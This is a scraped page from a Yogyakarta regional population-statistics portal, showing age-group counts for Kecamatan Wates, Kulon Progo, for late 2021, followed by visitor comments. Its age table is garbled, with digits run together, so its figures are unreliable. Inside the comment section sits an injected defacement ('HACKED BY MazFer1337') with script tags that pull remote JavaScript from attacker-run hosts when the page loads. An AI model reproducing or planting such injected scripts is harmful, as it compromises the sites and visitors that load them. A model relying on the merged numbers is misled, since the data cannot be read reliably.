Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KECAMATAN WATES, KABUPATEN KULON PROGO, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaWATESKARANGWUNISOGANKULWARUNGESTIHARJOBENDUNGANTRIHARJOGIRIPENITotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun148112 2603935 742120 412030 503137 687575 1509081 17111074 184534 464 998
2 tahun8971 1602925 541212 242112 331628 444651 976241 1034857 105323 297 620
3 tahun8484 1683020 501715 322320 432520 455337 905843 1014955 104339 294 633
4 tahun6890 1583233 651223 352118 392913 424241 835043 934353 96297 314 611
5 tahun8189 1702829 57169 251519 342526 515166 1175854 1125756 113331 348 679
6 tahun11095 2052524 49126 182317 402322 454851 996463 1277263 135377 341 718
7 tahun103110 2133028 581313 261123 342723 505553 1086055 1155556 111354 361 715
8 tahun10280 1823232 641411 252522 471726 435654 1105749 1066757 124370 331 701
9 tahun109100 2093830 681618 342120 413021 515543 987255 1275858 116399 345 744
10 tahun11082 1922626 521811 291918 372628 546147 1085162 1137156 127382 330 712
11 tahun104112 2163221 532019 391719 362434 586152 1137754 1316155 116396 366 762
12 tahun101111 2122934 63239 322522 472027 476269 1315554 1098162 143396 388 784
13 tahun132119 2512326 491814 322821 493722 596444 1085743 1006355 118422 344 766
14 tahun118110 2283923 621312 252827 553523 586047 1075747 1046970 139419 359 778
15 tahun110122 2322824 52139 222130 513127 586760 1276948 1179071 161429 391 820
16 tahun106112 2182626 521513 282727 542925 545253 1057149 1205561 116381 366 747
17 tahun11592 2072732 591615 311717 343621 574955 1046054 1146675 141386 361 747
18 tahun118114 2322318 411421 351522 372425 495343 965354 1077147 118371 344 715
19 tahun121107 2281525 401514 292420 442121 425740 976947 1168259 141404 333 737
20 tahun111108 2192924 53166 222330 532626 524867 1155154 1056454 118368 369 737
21 tahun120116 2362126 471812 302822 502630 566058 1186464 1285764 121394 392 786
22 tahun99106 2052621 471819 371924 432826 545652 1084661 1076758 125359 367 726
23 tahun10496 2002218 401219 313030 602528 535150 1013851 896853 121350 345 695
24 tahun9195 1862325 482013 332727 542329 524652 986160 1216052 112351 353 704
25 tahun10493 1973316 491222 342616 422323 465243 956956 1256763 130386 332 718
26 tahun105103 2082829 571519 341821 393221 534445 895859 1176854 122368 351 719
27 tahun10088 1882623 491914 332627 532331 545448 1025749 1065444 98359 324 683
28 tahun7886 1642530 55158 232922 513119 505049 994457 1016164 125333 335 668
29 tahun10198 1992329 521615 311417 312123 444859 1074958 1075749 106329 348 677
30 tahun8997 1863230 621211 231718 351518 335149 1005244 966058 118328 325 653
31 tahun91103 1942420 44915 241413 271417 314663 1094037 773957 96277 325 602
32 tahun8693 1792925 54178 251824 422225 474041 815237 895250 102316 303 619
33 tahun9191 1821821 391511 262217 392519 444546 914739 865146 97314 290 604
34 tahun92105 1972420 441117 281413 272420 444439 835156 1075868 126318 338 656
35 tahun12588 2131829 47178 251219 312123 444431 755347 1005658 114346 303 649
36 tahun10099 1991926 45148 221622 381930 497054 1243064 945665 121324 368 692
37 tahun88110 1982520 45716 232420 442127 486351 1146655 1216474 138358 373 731
38 tahun103114 2172431 551615 311111 221629 455261 1136157 1186065 125343 383 726
39 tahun106102 2082631 571315 282128 493327 605258 1105569 1245960 119365 390 755
40 tahun98109 2073019 491416 302215 372726 535758 1156860 1288670 156402 373 775
41 tahun9699 1952422 461114 251627 432130 514853 1016052 1127071 141346 368 714
42 tahun100106 2062831 591613 291817 353133 645541 966650 1166563 128379 354 733
43 tahun109122 2312837 651015 252221 432429 535655 1116453 1176460 124377 392 769
44 tahun122110 2321621 37139 221418 322621 475454 1084554 995472 126344 359 703
45 tahun101101 2023733 701415 292824 522932 615248 1005255 1076662 128379 370 749
46 tahun10796 2032826 542114 352415 393523 583753 905854 1125662 118366 343 709
47 tahun9292 1841828 461322 351521 363220 525248 1005342 955855 113333 328 661
48 tahun93105 1982326 491016 262318 413019 494247 895052 1025449 103325 332 657
49 tahun8388 1712730 571121 321622 382118 394558 1034959 1085565 120307 361 668
50 tahun8693 1792417 411415 291319 322215 374743 905247 993942 81297 291 588
51 tahun105108 2133325 581220 322521 462429 536050 1104245 874351 94344 349 693
52 tahun112117 2292833 611815 332729 562121 425345 984158 995954 113359 372 731
53 tahun107107 2143424 581914 331132 432426 505448 1024852 1005663 119353 366 719
54 tahun89101 1901825 431618 342520 452231 533243 755547 1025756 113314 341 655
55 tahun8195 1763029 591114 251919 382015 354434 785053 1036355 118318 314 632
56 tahun101119 2202430 542115 363015 452837 655856 1144158 995156 107354 386 740
57 tahun7998 1771925 441013 232017 372716 433248 804054 944863 111275 334 609
58 tahun91115 2062414 381612 281118 291723 403451 851934 534970 119261 337 598
59 tahun10385 1882114 351011 212017 372022 423545 804246 884942 91300 282 582
60 tahun78100 1781513 282010 302016 362714 414040 803539 745153 104286 285 571
61 tahun81102 1832119 401715 321423 372016 364752 994544 894549 94290 320 610
62 tahun8490 1741511 26912 211912 312019 393840 785239 914760 107284 283 567
63 tahun6467 1311520 35512 171119 30814 223828 663336 694139 80215 235 450
64 tahun6652 1181115 26911 201420 341318 313036 663140 714047 87214 239 453
65 tahun6155 1162116 3795 141613 291519 342826 541945 643532 67204 211 415
66 tahun5465 1191318 311219 311015 25914 232726 532437 613336 69182 230 412
67 tahun5066 11669 1586 141312 251126 372925 543237 694535 80194 216 410
68 tahun3251 83118 1932 51112 231616 322318 413532 672125 46152 164 316
69 tahun5045 9576 13127 191213 251010 203137 682329 522918 47174 165 339
70 tahun5150 10147 1157 12710 171110 211818 363718 552925 54162 145 307
71 tahun2946 75912 2178 15148 221510 252425 491818 361824 42134 151 285
72 tahun2836 64711 1834 766 12716 231716 331537 521614 3099 140 239
73 tahun3731 6846 1056 1188 16310 13719 261720 371212 2493 112 205
74 tahun1526 4135 843 746 1058 13511 161917 36109 1965 85 150
75 tahun1826 4430 336 935 8118 19109 191216 281313 2673 83 156
76 tahun1624 4076 1346 1039 1268 14834 421213 251524 3971 124 195
77 tahun1630 4648 1228 1017 8615 21914 231713 301626 4271 121 192
78 tahun1022 3239 1203 344 867 13513 181311 24127 1953 76 129
79 tahun1429 4332 514 577 1461 71117 28914 231116 2762 90 152
80 ke atas72121 1932445 692234 562756 832859 875389 1424892 14049104 153323 600 923
Jumlah6.8947.10313.9971.7661.7603.5261.0301.0252.0551.4331.5112.9441.7281.7643.4923.5283.5687.0963.7753.7427.5174.1764.1458.321 24.330 24.618 48.948
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih